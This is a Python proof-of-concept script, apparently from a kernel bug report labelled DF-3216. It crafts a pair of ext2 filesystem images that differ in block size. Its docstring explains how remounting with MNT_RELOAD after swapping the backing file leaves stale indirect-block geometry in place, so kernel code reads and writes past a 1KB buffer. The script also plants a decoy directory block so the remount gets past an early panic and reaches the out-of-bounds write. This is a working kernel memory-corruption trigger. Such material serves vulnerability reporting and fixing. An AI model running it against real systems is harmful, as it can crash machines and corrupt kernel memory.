DF-3216 / craft.py
#!/usr/bin/env python3 """Craft the DF-3216 trigger pair (block-size divergence, SAME group count): imgA: valid 64MB ext2, block size 4096 -> 16384 blocks, bpg 32768 -> gcount 1 imgB: valid 8MB ext2, block size 1024 -> 8192 blocks, bpg 8192 -> gcount 1 contains one regular file /f (300KB, per-block markers) made with mke2fs -d (populated filesystem) Mount imgA read-only on a vn device, rewrite the backing file with imgB, then mount(2) MNT_UPDATE|MNT_RELOAD: ext2_reload() -> ext2_compute_sb_data() adopts the NEW geometry (fs->e2fs_bsize 1024, e2fs_bshift 10, e2fs_fsize 1024, ...) but ump->um_nindir / um_bptrtodb / um_seqinc (set once in ext2_mountfs at ext2_vfsops.c:991-993 from the OLD 4096 geometry) are never re-derived and mp->mnt_stat.f_iosize is only refreshed by statfs(2). gcount stays 1 == old gcount, so DF-3047's cluster-array OOB is NOT triggered; what fires instead is the indirect-block walk: MNINDIR(ump) = 1024 (stale, 4096/4) real on-disk indirect blocks are 1024 bytes = 256 pointers ext2_getlbns() (ext2_bmap.c:354) computes in_off = (bn/blockcnt) % MNINDIR(ump) -> in_off in [256..1023] for lbn >= 268 ext2_bmaparray() (ext2_bmap.c:255) reads bap[in_off] past the buffer ext2_balloc() (ext2_balloc.c:198) reads and (:233/:267) WRITES bap[in_off] = htole32(newb) past the 1KB buffer Usage: craft.py <dir> """ import subprocess, sys, os SZ_A_BLOCKS = 16384 # 64 MB of 4096-byte blocks SZ_B_BLOCKS = 8192 # 8 MB of 1024-byte blocks F_BLOCKS = 300 # /f: 300 KB -> 12 direct + 281 single-indirect def mk(path, blocks, bsize, rootdir=None): cmd = ['mke2fs', '-q', '-F', '-t', 'ext2', '-b', str(bsize), '-I', '128', '-N', '2048', '-O', '^metadata_csum,^64bit'] if rootdir: cmd += ['-d', rootdir] cmd += [path, str(blocks)] subprocess.run(cmd, check=True) def rootdir_first_block(img): out = subprocess.run(['debugfs', '-R', 'blocks <2>', img], capture_output=True, text=True, check=True) return int(out.stdout.split()[0]) def main(d): rootdir = os.path.join(d, 'rootdir') os.makedirs(rootdir, exist_ok=True) fpath = os.path.join(rootdir, 'f') with open(fpath, 'wb') as f: for lbn in range(F_BLOCKS): hdr = ('BLK%08d' % lbn).encode() f.write(hdr) f.write(b'\x5a' * (1024 - len(hdr))) open(os.path.join(rootdir, 'w'), 'wb').close() # empty victim file a = os.path.join(d, 'imgA64.img') b = os.path.join(d, 'imgB8.img') mk(a, SZ_A_BLOCKS, 4096, rootdir) mk(b, SZ_B_BLOCKS, 1024, rootdir) # decoy: after the reload the stale um_bptrtodb (4096-geometry shift 3 # instead of 1) makes every direct block b of the new fs be read from # 1KB-block 4*b. Plant a copy of the first root-dir block there so # post-reload lookups of f/w survive (mangled-entry panic otherwise) # and the demo can reach the deeper indirect-walk OOB paths. with open(b, 'r+b') as fb: rb = rootdir_first_block(b) fb.seek(rb * 1024) blk = fb.read(1024) fb.seek(4 * rb * 1024) fb.write(blk) print('decoy: root dir block %d copied to %d' % (rb, 4 * rb)) # device image: imgA content, 64 MB total dev = os.path.join(d, 'dev64.img') with open(dev, 'wb') as out, open(a, 'rb') as fa: out.write(fa.read()) out.truncate(SZ_A_BLOCKS * 4096) print("OK:", a, b, dev) if __name__ == '__main__': main(sys.argv[1]) |